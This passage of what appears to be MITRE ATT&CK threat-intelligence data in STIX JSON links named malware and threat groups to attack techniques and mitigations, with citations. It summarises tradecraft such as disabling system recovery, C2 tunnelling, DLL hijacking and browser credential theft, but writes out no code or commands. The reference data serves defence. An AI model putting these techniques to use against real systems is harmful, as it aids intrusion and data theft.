2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e48c9be7-6a02-4170-a63a-204c6308a825","created":"2022-08-18T15:41:13.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T16:16:24.057Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has the ability to hex-encode collected data from an infected host.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e4946803-e448-4c85-902b-100e4d627ec3","created":"2021-11-24T19:26:27.469Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used spam emails that contain a link that redirects the victim to download a malicious document.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:14:04.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e4960a7a-c280-4356-8b03-b848c68acd05","created":"2022-08-07T15:05:05.004Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":" [Action RAT](https://attack.mitre.org/software/S1028) has the ability to collect the username from an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e496b3d5-3608-49e6-9567-86b370abeeb3","type":"relationship","created":"2021-09-20T21:26:58.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-20T21:26:58.219Z","description":"[Dridex](https://attack.mitre.org/software/S0384) can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.(Citation: Checkpoint Dridex Jan 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e49a1c79-5aa0-4d1a-906d-806c5253bd3e","type":"relationship","created":"2020-03-11T14:49:37.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-05T21:02:22.954Z","description":"Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e49cb6bd-78c8-4826-a292-a7c5d3096d2b","type":"relationship","created":"2019-06-14T16:45:33.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/","source_name":"Rapid7 KeyBoy Jun 2013"}],"modified":"2019-06-30T22:48:21.707Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) attempts to collect passwords from browsers.(Citation: Rapid7 KeyBoy Jun 2013)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e49ceb1e-8ab0-44c5-8232-2b9aa0cf17ad","created":"2022-09-27T17:56:02.679Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:56:02.679Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4a43af9-e8f0-42cf-a707-b2393efb44f5","type":"relationship","created":"2020-03-20T19:03:04.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-20T19:03:04.500Z","relationship_type":"revoked-by","source_ref":"attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4b036ec-b7d4-40a7-9a85-25423a1027c9","type":"relationship","created":"2019-08-30T19:53:25.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.683Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4c23aa3-edf1-4f6e-ae86-f709d7c306ee","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2021-09-15T14:37:11.020Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used the Plink utility to tunnel RDP back to C2 infrastructure.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4c2c54e-3980-45a4-92cb-c0d99bc0a428","type":"relationship","created":"2019-04-02T15:58:12.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2019-06-30T23:07:54.151Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses the native Windows utilities vssadmin, wbadmin, and bcdedit to delete and disable operating system recovery features such as the Windows backup catalog and Windows Automatic Repair.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4c5ab65-e084-4844-9bf8-546d78f20e96","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:26.021Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) downloads and uploads files to and from the victim’s machine.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4c6b2e0-e644-4bb6-b2d0-f5a757ed9485","created":"2023-01-19T21:28:38.609Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-19T21:28:38.609Z","description":"(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4c7c4b7-fe19-4433-acd9-ec94f436f381","created":"2017-05-31T21:33:27.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.689Z","description":"(Citation: Novetta-Axiom)(Citation: Cisco Group 72)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4ccb68f-5c52-4805-88d0-14d87268e562","created":"2019-06-17T18:59:18.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.276Z","description":"(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4d36f81-8028-4eae-8bc2-d856296afb46","type":"relationship","created":"2021-01-11T21:20:36.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."},{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-01-12T18:29:42.035Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious attachments.(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4d5f735-1629-48f8-9728-f76adf586a0b","created":"2024-01-18T18:57:42.670Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-18T18:57:42.670Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can use pipes to redirect the standard input and the standard output.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4e2d35b-83fb-4515-b531-576acb02e1a5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"}],"modified":"2021-03-29T19:43:26.737Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has performed DLL search order hijacking to execute their payload.(Citation: Nccgroup Emissary Panda May 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4e36dcb-9c07-4c22-a182-61ac194a434f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.130Z","description":"[Comnie](https://attack.mitre.org/software/S0244) appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4e9f93d-ae64-4f75-b12b-acbb45c31c41","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:51:21.775Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) can execute ipconfig on the victim’s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4f09baa-2eae-445f-b000-5de3db07ad34","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.800Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) uploads files from a specified directory to the C2 server.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4f247ea-4fd6-44c0-9d19-19477fadcb52","type":"relationship","created":"2020-02-25T18:49:52.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:11:24.920Z","description":"Do not allow remote access via SSH as root or other privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4fa961c-e72b-47b3-b0fb-8051f9ca4d63","created":"2023-02-08T00:26:56.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:01:59.556Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can encrypt the data that it sends and receives from the C2 server using an RC4 encryption algorithm.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4fca715-c0a5-4292-ac6f-ab79bdd4241b","created":"2022-08-11T22:05:53.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T21:07:09.470Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) will remove all created artifacts such as dropped executables.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4fd283f-c168-442a-881d-70cf1eb67e20","type":"relationship","created":"2021-10-08T14:06:28.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-24T21:01:34.145Z","description":"Consider removing previous versions of tools that are unnecessary to the environment when possible.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4fe7d70-a0c9-4d2b-ba4a-0d6bc2e08f0e","type":"relationship","created":"2021-09-21T15:16:40.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.597Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has executed DLL search order hijacking.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5010306-d04f-423e-9a5b-d236a848de29","created":"2023-10-03T04:07:33.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T04:11:18.992Z","description":"Monitor for API calls such as `fork()` which can be abused to masquerade or manipulate process 